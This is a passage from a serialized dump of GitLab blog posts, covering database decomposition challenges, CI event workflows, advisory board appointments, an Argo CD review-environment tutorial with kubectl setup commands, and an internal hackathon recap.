https://gitlab.com/gitlab-com/www-gitlab-com/-/merge_requests/84588\n[performance_improvements_tracking_issue]: https://gitlab.com/gl-retrospectives/sharding-group/-/issues/18\n[phase7_summary_epic]: https://gitlab.com/groups/gitlab-org/-/epics/7791\n[rollback_issue]: https://gitlab.com/gitlab-org/gitlab/-/issues/361759\n",[676,2248],{"slug":13141,"featured":6,"template":678},"path-to-decomposing-gitlab-database-part2","content:en-us:blog:path-to-decomposing-gitlab-database-part2.yml","Path To Decomposing Gitlab Database Part2","en-us/blog/path-to-decomposing-gitlab-database-part2.yml","en-us/blog/path-to-decomposing-gitlab-database-part2",{"_path":13147,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":13148,"content":13153,"config":13157,"_id":13159,"_type":16,"title":13160,"_source":17,"_file":13161,"_stem":13162,"_extension":20},"/en-us/blog/path-to-decomposing-gitlab-database-part3",{"title":13149,"description":13150,"ogTitle":13149,"ogDescription":13150,"noIndex":6,"ogImage":12013,"ogUrl":13151,"ogSiteName":1180,"ogType":1181,"canonicalUrls":13151,"schema":13152},"Decomposing the GitLab backend database, Part 3: Challenges and surprises","This is the final installment in our three-part series about our yearlong project to decompose GitLab's Postgres database.","https://about.gitlab.com/blog/path-to-decomposing-gitlab-database-part3","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Decomposing the GitLab backend database, Part 3: Challenges and surprises\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Dylan Griffith\"}],\n        \"datePublished\": \"2022-08-04\",\n      }",{"title":13149,"description":13150,"authors":13154,"heroImage":12013,"date":13119,"body":13155,"category":734,"tags":13156},[13118],"\n_This blog post is part 3 in a three-part series. It focuses on some interesting\nlow-level challenges we faced along the way, as well as some surprises we found during\nthe migration._\n\n- To read about the design and planning phase, check out [part 1](/blog/path-to-decomposing-gitlab-database-part1/).\n- To read about how we executed the actual migration and our results, check out [part 2](/blog/path-to-decomposing-gitlab-database-part2/).\n\n## The challenge with taking GitLab.com offline\n\nOne key part of our migration process was to take all systems offline that\ncould potentially talk to the database. This may seem as simple as \"shutting\ndown the servers\" but given the scale and complexity of GitLab.com's\ninfrastructure this proved to be really quite complex. Here is just a subset of\nthe different things we had to shut down:\n\n1. Kubernetes pods corresponding to web, API, and Sidekiq services\n2. Cron jobs across various VMs\n\n## Surprises along the way\n\nEven though we had rehearsed the migration many times in staging, there were\nstill some things that caught us off-guard in production. Luckily, we had\nallocated sufficient buffer time during the migration to resolve all of these\nduring the call:\n\n1. Autovacuum on our largest CI tables take a long time and can run at any\n   time. This delayed our migration as we needed to gain table locks for our\n   [write block\n   triggers](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/83211).\n   Adding these triggers requires a `ShareRowExclusiveLock` which cannot be\n   acquired while the autovacuum is running for that table. We disabled\n   some manual vacuum processes we were aware of ahead of the call but\n   autovacuum can happen at any time and our `ci_builds` table just happen to\n   have autovacuum at the time we were trying to block writes to this table. To\n   work around this we needed to temporarily disable autovacuum for the\n   relevant tables and then find the `pid` for the autovacuum process and\n   terminate this which allowed our triggers to be successfully added.\n2. Sometimes a long-running SSH session by an SRE or developer can leave open a\n   surprising database connection that needs to be tracked down and closed.\n3. Cron jobs can be run on various hosts that start rails processes or database\n   connections at any time. We had many examples that were created with\n   different purposes for database maintenance over the years, and we missed at\n   least one in our practice runs. They weren't as easy to detect on staging as\n   they may not all be configured on staging, or they run a lot faster on\n   staging. Also, our staging runs all happened on week days, but our\n   production migration happened on a weekend where it seemed we were\n   deliberately running some database maintenance workloads during low\n   utilization hours.\n4. Our Sentry client-side error tracking caused us to overload our Sentry\n   server due to many of users leaving open GitLab browser tabs. As\n   the browser tabs periodically make asynchronous requests to GitLab and get\n   errors (since GitLab.com was down), they then send all these errors to Sentry\n   and this overloaded our Sentry error server to the point we couldn't load it\n   to check for errors. This was quickly diagnosed based on the URL all the\n   requests were sent to, but it did delay our migration as checking for new\n   errors was key to determining success or failure of the migration.\n\n## Cascading replication doubles latency (triples in our case)\n\nA key initial step in our phased rollout was to move all read-only CI traffic\nto dedicated CI replicas. These were cascading replicas from the main Patroni\ncluster. Furthermore, we made the decision to create the standby cluster leader\nas a replica of another replica in the Main Patroni cluster. Ultimately this\nmeant the replication process for our CI replicas was\n`Main Primary -> Main Replica -> CI Standby Leader -> CI Replica`.\n\nThis change meant that our CI replicas had roughly three times as much latency\ncompared with our Main replicas, which previously served CI read-only traffic.\nSince our read-only load balancing logic is based on users sticking to the primary\nuntil a replica catches up with the last write that they performed, users\nmight end up sticking to the primary longer than they previously would have.\nThis may have served to increase our load on the primary database after rolling\nout Phase 3.\n\nWe never measured this impact, but in hindsight it is something we\nshould have factored in and benchmarked with our gradual rollout of Phase 3.\nAdditionally, we should have considered mitigating this issue by having the `CI\nStandby Leader` replicating straight from the `Main Primary` or adding the `CI\nStandby Leader` to the pool of replicas that we could service CI read-only\ntraffic.\n\n## Re-balancing PGBouncer connections incrementally without saturating anything\n\n[Phase 4 of our rollout][phase4_change_request] turned out to be one of the\ntrickiest parts of the migration. Since we wanted all phases (where possible)\nto be rolled out incrementally we needed some way to [solve for\nincrementally re-balancing connection pool limits][phase4_gradual_rollout_issue]\nfrom `GitLab -> PGBouncer -> Postgres` without exceeding the total connection\nlimit of Postgres or opening too many connections to Postgres that might\nsaturate CPU. This was difficult because all the connection limits were very\nwell tuned, and we were close to saturation across all these limits.\n\nThe gradual rollout of traffic for Phase 4 looked like:\n\n```mermaid\ngraph LR;\n    PostgresMain[(PostgresMain - Limit K max_connections)]\n    GitLabRails-->|100-X % of CI queries|PGBouncerMain\n    GitLabRails-->|X% of CI queries|PGBouncerCi\n    PGBouncerMain-->|Limit N pool_size|PostgresMain\n    PGBouncerCi-->|Limit M pool_size|PostgresMain\n```\n\nWe wanted to gradually increase X from 0-100. But this presented a problem, because\nthe number of connections to the `PostgresMain` DB will change\nwith this number.\n\nWe assume it has some initial limit `K` connections, and we\nassume this limit is deliberately just high enough to handle the current\nconnections from `PGBouncerMain` and not overload the CPU. We need to carefully\ntune `N` and `M` `pool_size` values across the separate PGBouncer processes to\navoid overloading the limit K, and we also need to avoid saturating the\nPostgres server CPU with too much traffic. At the same time, we need to ensure\nthere are enough connections to handle the traffic to both PGBouncer pools.\n\nWe addressed this issue by taking very small steps during low\nutilization hours (where CPU and connection pools weren't near saturation) and\ndoing very detailed analysis after each step. We would wait a day or so to figure out how\nmany connections to move over with the following steps, based on the number of\nconnections that were used by the smaller step. We also used what data we had\nearly on from table-based metrics to get an insight into how many connections\nwe thought we'd need to move to the CI PGBouncer pool.\n\nIn the end, we did need to make small adjustments to our estimates along the way\nas we saw saturation occur, but there was never any major user-facing saturation\nincidents, as the steps were small enough.\n\n## Final thoughts\n\nWe're very happy with the results of this project overall.\n\nA key objective of this project, which was hard to predict, was how the complexity of\nan additional database might impact developer productivity. They can't do\ncertain types of joins and there is more information to be aware of.\nHowever, many months have now passed, and it seems clear now that the complexity is mostly abstracted by Rails models. With continued large number of developers contributing, we have seen\nlittle-to-no impact on productivity.\n\nCombining this success with the huge scalability headroom we've gained, we believe this was a great decision for GitLab.\n\n## More reading\n\nThis blog series contains many links to see our early designing, planning, and\nimplementation of various parts of this project. GitLab's\n[transparency value](https://handbook.gitlab.com/handbook/values/#transparency)\nmeans you can read all the details and get a sense of what it's like to work on\nprojects like this at GitLab. If you'd like to know more or something was\nunclear please leave a comment, so we can make sure we share all our learnings.\n\n[phase4_change_request]: https://gitlab.com/gitlab-com/gl-infra/production/-/issues/6440\n[phase4_gradual_rollout_issue]: https://gitlab.com/gitlab-org/gitlab/-/issues/347203\n",[676,2248],{"slug":13158,"featured":6,"template":678},"path-to-decomposing-gitlab-database-part3","content:en-us:blog:path-to-decomposing-gitlab-database-part3.yml","Path To Decomposing Gitlab Database Part3","en-us/blog/path-to-decomposing-gitlab-database-part3.yml","en-us/blog/path-to-decomposing-gitlab-database-part3",{"_path":13164,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":13165,"content":13171,"config":13176,"_id":13178,"_type":16,"title":13179,"_source":17,"_file":13180,"_stem":13181,"_extension":20},"/en-us/blog/gitlab-ci-event-workflows",{"title":13166,"description":13167,"ogTitle":13166,"ogDescription":13167,"noIndex":6,"ogImage":13168,"ogUrl":13169,"ogSiteName":1180,"ogType":1181,"canonicalUrls":13169,"schema":13170},"Event-based CI workflows in GitLab","Learn about a proof of concept to automate more with GitLab CI workflows and share your feedback.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749669444/Blog/Hero%20Images/kelly-sikkema-lFtttcsx5Vk-unsplash.jpg","https://about.gitlab.com/blog/gitlab-ci-event-workflows","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Event-based CI workflows in GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Grzegorz Bizon\"},{\"@type\":\"Person\",\"name\":\"Jackie Porter\"}],\n        \"datePublished\": \"2022-08-03\",\n      }",{"title":13166,"description":13167,"authors":13172,"heroImage":13168,"date":13173,"body":13174,"category":299,"tags":13175},[2740,2985],"2022-08-03","\n\nMaybe you have been in a position where there are specific tasks that must kick off in your software development process based on events in the platform or other systems. Perhaps you are even a GitLab CI user and love the flexibility that pipelines offer for project automation and want to be able to extend this to other types of items. Out of the [July 2022 Verify Stage Hackathon](/blog/verify-week-hackathon/), a proof of concept for CI workflows has been released and we are looking for feedback on ways this feature can help make your life easier. \n\n## What are CI worfklows?\n\nThe idea behind the [proof of concept](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/91244) is to instrument an event-based service to trigger pipelines. The current instrumentation features a definition of this service in the `.gitlab-ci.yml` and a hook into the existing [webhooks](https://docs.gitlab.com/ee/user/project/integrations/webhook_events.html) GitLab provides today. These components make up the `workflow` definition. \n\n## What can CI workflows do?\n\nThe possibilities for CI workflows are endless. If you wanted to triage issues, a workflow can be set on issue creation. Let’s say you want to automatically run pipelines based on merge request state changes - just use a workflow even in `.gitlab-ci.yml` to start a pipeline when a merge request is made “ready” or someone approved your code in it. \n\nHere is a brief overview of the proof of concept in action: \n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/cwfRI9m3rRs\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n## What’s next?\n\nGitLab CI workflows are one component of a broader [GitLab workflow](https://gitlab.com/groups/gitlab-org/-/epics/8349) and automation goals. Up next, we are looking to [formally instrument CI workflows via GitLab](https://gitlab.com/gitlab-org/gitlab/-/issues/363384). We also are looking ahead to [Platform Events](https://gitlab.com/gitlab-org/gitlab/-/issues/355658) or [Cloud Events](https://gitlab.com/gitlab-org/gitlab/-/issues/335095), which help extend the number of events to trigger various automations from beyond the existing webhooks/system hooks. \n\nIs this something that you are interested in or have feedback on? Tag `@dhershkovitch` on our [GitLab CI Workflows Issue](https://gitlab.com/gitlab-org/gitlab/-/issues/363384). \n\nCover image by [Kelly Sikkema](https://unsplash.com/photos/lFtttcsx5Vk) on [Unsplash](https://unsplash.com)\n{: .note}\n",[754,695,1899],{"slug":13177,"featured":6,"template":678},"gitlab-ci-event-workflows","content:en-us:blog:gitlab-ci-event-workflows.yml","Gitlab Ci Event Workflows","en-us/blog/gitlab-ci-event-workflows.yml","en-us/blog/gitlab-ci-event-workflows",{"_path":13183,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":13184,"content":13189,"config":13193,"_id":13195,"_type":16,"title":13196,"_source":17,"_file":13197,"_stem":13198,"_extension":20},"/en-us/blog/gitlab-welcomes-janelle-romano-and-patty-molthen-to-federal-advisory-board",{"title":13185,"description":13186,"ogTitle":13185,"ogDescription":13186,"noIndex":6,"ogImage":10802,"ogUrl":13187,"ogSiteName":1180,"ogType":1181,"canonicalUrls":13187,"schema":13188},"GitLab welcomes Janelle Romano and Patty Molthen to Federal Advisory Board","The new board members come onboard as GitLab continues to identify opportunities to drive new technology adoption in the public sector.","https://about.gitlab.com/blog/gitlab-welcomes-janelle-romano-and-patty-molthen-to-federal-advisory-board","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab welcomes Janelle Romano and Patty Molthen to Federal Advisory Board\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2022-08-03\",\n      }",{"title":13185,"description":13186,"authors":13190,"heroImage":10802,"date":13173,"body":13191,"category":736,"tags":13192},[711],"[GitLab](/solutions/public-sector/) Federal, LLC, provider of The One DevOps Platform for the public sector, is excited to announce the appointment of Janelle Romano and Patty Molthen to its Federal Advisory Board. \n\n“GitLab is thrilled to welcome Janelle Romano and Patty Molthen, two seasoned leaders, to the Federal Advisory Board as we continue to demonstrate the value of The One DevOps Platform within the public sector,” said Bob Stevens, Area Vice President, Public Sector at GitLab Federal, LLC. “We look forward to their contributions to GitLab as we continue identifying opportunities to drive adoption of new technologies and enable innovation and efficiency within the public sector.”  \n\nRomano joins the GitLab Federal Advisory Board after nearly three decades in government, first operating in, and then leading research, development, and operational organizations. She currently serves as Vice President of Cyberspace Operations at CACI, following her role as Chief of Critical Networks Defense at the National Security Agency. \n\n“GitLab's mission to deliver a single, open core application that streamlines operations while allowing everyone to contribute is the type of driver that the government needs to help it achieve rapid iteration, integration, and innovation,” said Romano. “I am incredibly excited to work with GitLab to enable our servicemembers, intelligence professionals, and civil servants to unlock their own potential while delivering critical applications needed to achieve mission outcomes.” \n\nFor more than 20 years, Molthen served as an independent consultant to firms that work closely with the Department of Veterans Affairs, Military Health, the Defense Health Agency, Federal Healthcare Systems, and the Department of Defense. She is the owner of CM2 Group, a small consulting company that specializes in industries such as aerospace, transportation, and military defense. Molthen has been a member of several organizations in the Washington, D.C. area, including Women in Defense, Northern Virginia Technology Council – Acquisition team, ACT-IAC Small Business Alliance and Acquisition and Emerging Technologies Community of Interest panels, and a member of NDIA.\n\n“I was drawn to GitLab due to its mission of enabling organizations to ship secure products more efficiently. I look forward to contributing my expertise in healthcare informatics, IT policy, and contracting support to benefit our servicemembers and military healthcare as a member of this prestigious board,” Molthen said. \n\nRomano and Molthen join existing board members August Schell President John Hickey, Mountain Wave Ventures Partner Roger Cressey, Efrus Federal Advisors Founder Rob Efrus, and Buck Consulting Group CEO Nick Buck. In line with the company’s commitment to its Diversity, Inclusion, and Belonging [value](https://handbook.gitlab.com/handbook/values/#diversity-inclusion), GitLab is proud to welcome these two accomplished women as advisors.",[736,676],{"slug":13194,"featured":6,"template":678},"gitlab-welcomes-janelle-romano-and-patty-molthen-to-federal-advisory-board","content:en-us:blog:gitlab-welcomes-janelle-romano-and-patty-molthen-to-federal-advisory-board.yml","Gitlab Welcomes Janelle Romano And Patty Molthen To Federal Advisory Board","en-us/blog/gitlab-welcomes-janelle-romano-and-patty-molthen-to-federal-advisory-board.yml","en-us/blog/gitlab-welcomes-janelle-romano-and-patty-molthen-to-federal-advisory-board",{"_path":13200,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":13201,"content":13207,"config":13213,"_id":13215,"_type":16,"title":13216,"_source":17,"_file":13217,"_stem":13218,"_extension":20},"/en-us/blog/how-to-provision-reviewops",{"title":13202,"description":13203,"ogTitle":13202,"ogDescription":13203,"noIndex":6,"ogImage":13204,"ogUrl":13205,"ogSiteName":1180,"ogType":1181,"canonicalUrls":13205,"schema":13206},"Deploying dynamic review environments with MRs and Argo CD","Here's how to use the Argo CD ApplicationSet to provision a ‘ReviewOps’ environment based on merge request changes.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681920/Blog/Hero%20Images/kubernetes.png","https://about.gitlab.com/blog/how-to-provision-reviewops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to provision dynamic review environments using merge requests and Argo CD\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Joe Randazzo\"},{\"@type\":\"Person\",\"name\":\"Madou Coulibaly\"}],\n        \"datePublished\": \"2022-08-02\",\n      }",{"title":13208,"description":13203,"authors":13209,"heroImage":13204,"date":13210,"body":13211,"category":734,"tags":13212},"How to provision dynamic review environments using merge requests and Argo CD",[3006,8325],"2022-08-02","\nWe recently learned of a new contribution to the ApplicationSet in the Argo CD project, specifically the [Pull Request generator for GitLab](https://github.com/argoproj/argo-cd/blob/master/docs/operator-manual/applicationset/Generators-Pull-Request.md#gitlab) and decided to take it for a spin. What makes this interesting is now dynamic [review environments](https://docs.gitlab.com/ee/ci/review_apps/index.html) can be provisioned intuitively from the merge request (MR) using a [GitOps](/topics/gitops/) workflow. The benefit is code reviewers or designers can quickly review any app changes to your Kubernetes cluster all from within the merge request.\n\nIn traditional testing workflows, you may have pushed your changes into a development environment, waiting for the QA and UX team to pull those changes into their environment for further review, and then received feedback based on your small change. At this point, time was wasted between various teams with environment coordination or adding bugs to the backlog of the new changes. \n\nWith the combination of a merge request and review environments, you can quickly spin up a test environment based on the changes of your feature branch. This means the QA or UX team can suggest improvements or changes during the code review process without wasting cycles.\n\nThe introduction of the ApplicationSet has given greater flexibility to Argo CD workflows such as:\n\n- Allowing unprivileged cluster users to deploy applications (without namespace access)\n- Deploying applications to multiple clusters at once\n- Deploying many applications from a single monorepo\n- **And triggering review environments based on a pull request**\n\n### Let's review the ApplicationSet and the GitLab Pull Request Generator\n\nThe [Pull Request Generator](https://argo-cd.readthedocs.io/en/latest/operator-manual/applicationset/Generators-Pull-Request) will use the GitLab API to automatically discover new merge requests within a repository. Depending on the filter match of the MR, a review environment will then be generated.\n\n```yaml\napiVersion: argoproj.io/v1alpha1\nkind: ApplicationSet\nmetadata:\n  name: review-the-application\n  namespace: argocd\nspec:\n  generators:\n  - pullRequest:\n      gitlab:\n        project: \u003Cproject-id>\n        api: https://gitlab.com/\n        tokenRef:\n          secretName: \u003Cgitlab-token>\n          key: token\n        pullRequestState: opened\n      requeueAfterSeconds: 60\n  template:\n    metadata:\n      name: 'review-the-application-{{number}}'\n    spec:\n      source:\n        repoURL: \u003Crepository-with-manifest-files>\n        path: chart/\n        targetRevision: 'HEAD'\n        helm:\n          parameters:\n          - name: \"image.repository\"\n            value: \"registry.gitlab.com/\u003Cgroup-and-project-path>/{{branch}}\"\n          - name: \"image.tag\"\n            value: \"{{head_sha}}\"\n          - name: \"service.url\"\n            value: \"the-application-{{number}}.\u003Cip>.nip.io\"\n      project: default\n      destination:\n        server: https://kubernetes.default.svc\n        namespace: dynamic-environments-with-argo-cd\n```\n#### Fields\n\n* `project`: The GitLab Project ID\n* `api`: URL of GitLab instance\n* `tokenRef`: The secret to monitor merge request changes\n* `labels`: Provision review environments based on a GitLab label\n* `pullRequestState`: Provision review environments based on [MR states](https://docs.gitlab.com/ee/api/merge_requests.html)\n\nFilter options include GitLab labels, merge request state (open, closed, merged), and branch match. Templating options include merge request ID, branch name, branch slug, head sha, and head short sha.\n\nSee the latest [ApplicationSet documentation](https://argo-cd.readthedocs.io/en/latest/operator-manual/applicationset/Generators-Pull-Request/#gitlab) for additional details.\n\nFor this blog post, we explore using the Argo CD ApplicationSet to provision a “ReviewOps” environment based on merge request changes.\n\n### Prerequisites\n\nThe following tools are required for running this tutorial. Please install and/or configure them before getting started.\n\n- **Tools**\n  - GitLab v15.0+ \n  - Kubernetes cluster v1.21+\n  - Argo CD 2.5.0+\n- **CLI**\n  - kubectl v1.21+\n\n### Explore the Source Code\n\nFirst, let’s explore the [source code](https://gitlab.com/madou-stories/dynamic-environments-with-argo-cd) for the tutorial.\n\nThis GitLab group is composed of the 2 following projects:\n\n- `The Application`: contains the source code of a containerized application and its CI/CD pipeline\n- `The Application Configuration`: contains the application configuration (Kubernetes Manifests) managed by Helm\n\n![git-repository](https://about.gitlab.com/images/blogimages/2022-08-01-how-to-provision-reviewops/git-repository.png)\n\n### Setting up GitLab\n\n1. Create your GitLab Group and fork the [The Application](https://gitlab.com/madou-stories/dynamic-environments-with-argo-cd/the-application) and [The Application Configuration](https://gitlab.com/madou-stories/dynamic-environments-with-argo-cd/the-application-configuration) projects into it.\n\n2. In `The Application Configuration` project, edit the `**manifests/applicationset.yml**` as follows:\n\n  * `.spec.generators.pullRequest.gitlab.project`: The Project ID of `The Application`\n  * `.spec.template.spec.source.repoURL`: Git URL of `The Application Configuration`\n  * `.spec.template.spec.source.helm.parameters.\"image.repository\"`: Point to image repository, for example `registry.gitlab.com/\u003CYour_GitLab_Group>/the-application/{{branch}}`\n\n  Note: keep the {{branch}} string as is and replace \u003CYour_GitLab_Group> with the name of the group you created in step 1.\n\n  * `.spec.template.spec.source.helm.parameters.\"service.url\"`: Templated with `the-application-{{number}}.\u003CYour_Kube_Ingress_Base_Domain>`\n\n  Note: keep the {{number}} string as is and replace \u003CYour_Kube_Ingress_Base_Domain> with the base domain of your Kubernetes Cluster.\n\n3. Define the following CI/CD variables at the group level:\n\n   - `ARGOCD_SERVER_URL`, the Argo CD server address\n   - `ARGOCD_USERNAME`, the username of your Argo CD account\n   - `ARGOCD_PASSWORD`, the password of your Argo CD account\n   - `KUBE_INGRESS_BASE_DOMAIN`, the base domain of your Kubernetes Cluster\n\n   ![cicd-variables](https://about.gitlab.com/images/blogimages/2022-08-01-how-to-provision-reviewops/cicd-variables.png)\n\n4. Generate a Group access token to grant `read_api` and `read_registry` access to this group and its sub-projects.\n\n   ![group-access-token](https://about.gitlab.com/images/blogimages/2022-08-01-how-to-provision-reviewops/group-access-token.png)\n\n   Save the group access token somewhere safe. We will use it later.\n\n### Setting up Kubernetes\n\n1. Create a namespace called `dynamic-environments-with-argo-cd`.\n   ```shell\n   kubectl create namespace dynamic-environments-with-argo-cd\n   ```\n2. Create a Kubernetes secret called `gitlab-token-dewac` to allow Argo CD to use the GitLab API.\n   ```shell\n   kubectl create secret generic gitlab-token-dewac -n argocd --from-literal=token=\u003CYour_Access_Token>\n   ```\n3. Create another Kubernetes secret called `gitlab-token-dewac` to allow Kubernetes to pull images from the GitLab Container Registry.\n   ```shell\n   kubectl create secret generic gitlab-token-dewac -n dynamic-environments-with-argo-cd --from-literal=token=\u003CYour_Access_Token>\n   ```\n\n### Setting up Argo CD\n\n1. Create the Argo CD ApplicationSet to generate an Argo CD Application associated with a merge request.\n   ```shell\n   kubectl apply -f https://gitlab.com/\u003CYour_GitLab_Group>/the-application-configuration/-/raw/main/manifests/applicationset.yaml\n   ```\n\n### Update the source code\n\n1. In `The Application` project, create a GitLab issue, then an associated branch and merge request. \n2. In Argo CD, a new application is provisioned called `review-the-application` based on the new merge request event.\n\n   ![review-the-application-argocd](https://about.gitlab.com/images/blogimages/2022-08-01-how-to-provision-reviewops/review-the-application-argocd.png)\n\n3. In `The Application` project, edit the `index.pug` and replace `p Welcome to #{title}`  with `p Bienvenue à #{title}`.\n4. Commit into your recent branch which is going to trigger a pipeline run.\n5. In the CI/CD > Pipelines, you will find the following pipeline running on your merge request:\n\n   ![feature-branch-pipeline](https://about.gitlab.com/images/blogimages/2022-08-01-how-to-provision-reviewops/feature-branch-pipeline.png)\n\n   where,\n\n   - `docker-build`: builds the container image\n   - `reviewops`: configures and deploys the container into the review environment using Argo CD\n   - `stop-reviewops`: deletes the review environment\n\n6. Once completed, the `review-the-application` application in Argo CD is now synced.\n\n   ![review-the-application-synced](https://about.gitlab.com/images/blogimages/2022-08-01-how-to-provision-reviewops/review-the-application-synced.png)\n\n7. From the merge request, click on the `View app` button to access to your application.\n\n   ![view-app-button](https://about.gitlab.com/images/blogimages/2022-08-01-how-to-provision-reviewops/view-app-button.png)\n\n   The outcome should be as follows:\n\n   ![express-app](https://about.gitlab.com/images/blogimages/2022-08-01-how-to-provision-reviewops/express-app.png)\n\n8. You have succesfully provisioned a dynamic review environment based on your merge request! Once the merge request is closed, the environment will be automatically cleaned up.\n\n## To sum up\n\nHopefully this tutorial has been helpful and has inspired your GitLab + Argo CD workflows with review environments.\n\nWe'd love to hear in the comments on how this is working for you, as well as your ideas on how we can make GitLab a better place for GitOps workflows.\n",[1207,534,4103],{"slug":13214,"featured":6,"template":678},"how-to-provision-reviewops","content:en-us:blog:how-to-provision-reviewops.yml","How To Provision Reviewops","en-us/blog/how-to-provision-reviewops.yml","en-us/blog/how-to-provision-reviewops",{"_path":13220,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":13221,"content":13227,"config":13232,"_id":13234,"_type":16,"title":13235,"_source":17,"_file":13236,"_stem":13237,"_extension":20},"/en-us/blog/verify-week-hackathon",{"title":13222,"description":13223,"ogTitle":13222,"ogDescription":13223,"noIndex":6,"ogImage":13224,"ogUrl":13225,"ogSiteName":1180,"ogType":1181,"canonicalUrls":13225,"schema":13226},"What we learned during an internal Hackathon Week","The Verify team spent a week on Hackathon projects building new features, Proof of Concepts and cleaning up “dead code”","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682399/Blog/Hero%20Images/marvin-meyer-SYTO3xs06fU-unsplash.jpg","https://about.gitlab.com/blog/verify-week-hackathon","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"What we learned during an internal Hackathon Week\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"James Heimbuck\"}],\n        \"datePublished\": \"2022-07-28\",\n      }",{"title":13222,"description":13223,"authors":13228,"heroImage":13224,"date":13229,"body":13230,"category":299,"tags":13231},[7598],"2022-07-28","\n\nTo inspire the Verify Stage product and engineering teams to solve new problems, we conducted a \"Hackathon Week\" in July 2022. \n\nPrior to the Hackathon, the team spent time brainstorming ideas to solve and enhancements to make. We then collaborated to make those ideas better. For projects with a critical mass of people who wanted to work on them, an engineer took the lead in organizing the work, making sure there was a design (where needed) and doing other unblocking to deliver an outcome. The team also focused on deleting some dead code in the code base to make future development easier. We even offered a prize for the most code/files deleted. Several themes emerged as the team brainstormed, which resulted in some greatly improved Proof of Concepts (POCs) or new features shipped in the product.\n\n## Searching job logs is hard\n\nAt GitLab we use the product to build new features, and we have a very rich build pipeline but not a perfect one. Because of this the team knows how hard it can be to parse through the job logs shown on the job detail page.\n\nOne engineer delivered a POC to make scrolling through failures easier, delivering an MVC for an [open issue](https://gitlab.com/gitlab-org/gitlab/-/issues/343658). Another team worked on adding a simple search and highlight to the job logs page. After seeing the demo we quickly decided that [this](https://gitlab.com/gitlab-org/gitlab/-/issues/367574) was something we could ship and it will roll out during the 15.3 milestone.\n\n## Could this job be faster?\n\nSpeedy and reliable pipelines is something we think a lot about across the stage so it was no wonder we saw several groups thinking about ways to get more job performance data to users.\n\nOn demo day, a POC re-envisioning how the job performance page shows job executions in other pipelines was shown. Before delivering the feature to customers, the team wants to make some improvements and opened [gitlab#367322](https://gitlab.com/gitlab-org/gitlab/-/issues/367322) for a future milestone.\n\nAnother group delivered a POC that took a similar approach on the pipeline editor, which delivers the insights in a context where users can act on data to improve its performance. \n\nWe know failed tests are often the culprit of failed pipelines but debugging the failures can be slowed down simply by the process of finding them. A POC to create a one-click copy of the path of all the failing tests from the Merge Request Test Report widget was developed during our Hackathon Week. This has since been merged and is available on gitlab.com\n\n## Fault Tolerant Runners\n\nThe Runner team recently introduced the GitLab Runner Pod Cleanup as a way to clean up orphaned pods the GitLab Runner Manager has not had a chance to do (like the Runner Manager pod getting evicted). The team delivered a [POC MR](https://gitlab.com/gitlab-org/gitlab-runner/-/merge_requests/3512) that lays the foundation for the next iteration toward a Fault Tolerant Runner.\n\n## CI Workflows POC\n\nGitLab has a very flexible way to start a pipeline on any number of events from other pipelines, by schedule and by a commit among other things. Teams may want to run a pipeline on other events, like issue creation, merge request approval, etc. A team headed up by \n[Grzegorz](https://gitlab.com/grzesiek) created an initial concept for GitLab CI workflows. This is a great first step towards the larger goal of creating a full-fledged [GitLab Workflow](https://gitlab.com/groups/gitlab-org/-/epics/8349) solution. Watch the demo:\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/cwfRI9m3rRs\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n## Code cleanup\n\nOne of the highest upvoted items from our brainstorming was code cleanup. The team does a great job while working on new features and enhancements in doing what they can to reduce any technical debt and to keep things lean, but \"cruft\" builds up that needs attention from time to time. Over the course of the week, over 1300 lines of code and 4421 MB of database data were deleted by the team.\n\n## Closing thoughts\n\nThis hackathon was an incredible example of iteration, collaboration, and efficiency as individuals worked to deliver new features to solve problems and streamline the codebase. \n\nThese are some of the highlights of the work completed over the course of the week. We would love to hear your thoughts on the pending issues, proof of concept merge requests, and in new issues about features we should build. You can also contribute code to these projects or many others in the next [GitLab Hackathon](https://about.gitlab.com/community/hackathon/) that runs August 2 through August 9 2022.\n\nCover image by [Marvin Meyer](https://unsplash.com/@marvelous) on [Unsplash](https://unsplash.com/photos/SYTO3xs06fU-unspalsh.jpg)\n{: .note}\n\n\n",[1384,2368,695],{"slug":13233,"featured":6,"template":678},"verify-week-hackathon","content:en-us:blog:verify-week-hackathon.yml","Verify Week Hackathon","en-us/blog/verify-week-hackathon.yml","en-us/blog/verify-week-hackathon",{"_path":13239,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":13240,"content":13246,"config":13251,"_id":13253,"_type":16,"title":13254,"_source":17,"_file":13255,"_stem":13256,"_extension":20},"/en-us/blog/cracking-our-bug-bounty-top-10",{"title":13241,"description":13242,"ogTitle":13241,"ogDescription":13242,"noIndex":6,"ogImage":13243,"ogUrl":13244,"ogSiteName":1180,"ogType":1181,"canonicalUrls":13244,"schema":13245},"Want to start hacking? Here's how to quickly dive in","We asked one of our top 10 hacker contributors, Johan Carlsson, to share his novel approach to bug bounty 